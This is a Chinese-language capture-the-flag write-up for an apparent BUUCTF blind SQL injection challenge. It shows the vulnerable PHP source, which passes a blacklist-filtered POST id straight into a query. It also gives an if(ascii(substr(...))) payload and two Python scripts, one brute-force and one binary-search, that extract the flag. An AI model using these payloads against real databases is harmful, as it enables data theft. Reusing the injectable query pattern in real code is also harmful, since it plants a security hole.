輸入1時:返回Hello, glzjin wants a girlfriend.
輸入2時:Do you want to be my girlfriend?
輸入1%2時也會回顯:Hello, glzjin wants a girlfriend.
輸入其他數值時返回error
然後不會做了,怎麼寫都是錯,後來看了一個大佬後來的題解,然後看到源代碼是如下的:
其中題的一句話很重要Now, just give the id of passage,只需要給出id,即注入應該是數字型的注入。
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被過濾的內容 函數基本沒過濾
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
解題思路:
用字符串截斷函數,把每個字符截斷出來。如果當前字符等於某個字符,返回1,否則返回2。
比如: 截取到了flag中的第一個字符f時,從ascii碼錶裏爆破 , f =a 返回 2 , f = f 返回1
sql的三目運算:
if( 表達式1,表達式2,表達式3)
如果表達式1是正確的,那麼執行表達式2,否則執行表達式3
sql的ascii(str) 函數:
其執行方式:返回字符串str的最左面字符的ASCII代碼值。如果str是空字符串,返回0。如果str是NULL,返回NULL
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j);
下面是我蛇皮的腳本循環跑了幾千次才跑出flag,最下面給出一個大佬用二分法跑的,比我的快好多倍。
import requests
url = "http://1e724a0e-4db3-441e-91a7-1a1b8bafc9cb.node3.buuoj.cn/index.php";
result = ""
num=0 #用了來判斷是不是flag已經拼完整了
for i in range(1,60):
if num == 1:
break
for j in range(32,128):
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j);
#print(str((i-1)*96+j-32)+":~"+payload+"~")
data = {
"id":payload,
}
r = requests.post(url,data=data)
r.encoding = r.apparent_encoding
if "Hello" in r.text:
x = chr(j)
result+=str(x)
print(result)
break
if "}" in result:
print(result)
num=1
break
下面的連接是大佬二分法跑flag的腳本,他用的tab代替空格沒有用小括號,詳情請參考下面的鏈接。
大佬博客: https://www.cnblogs.com/kevinbruce656/p/11342580.html
import requests
import time
#url是隨時更新的,具體的以做題時候的爲準
url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'
data = {"id":""}
flag = 'flag{'
i = 6
while True:
#從可打印字符開始
begin = 32
end = 126
tmp = (begin+end)//2
while begin<end:
print(begin,tmp,end)
time.sleep(1)
data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp)
r = requests.post(url,data=data)
if 'Hello' in r.text:
begin = tmp+1
tmp = (begin+end)//2
else:
end = tmp
tmp = (begin+end)//2
flag+=chr(tmp)
print(flag)
i+=1
if flag[-1]=='}':
break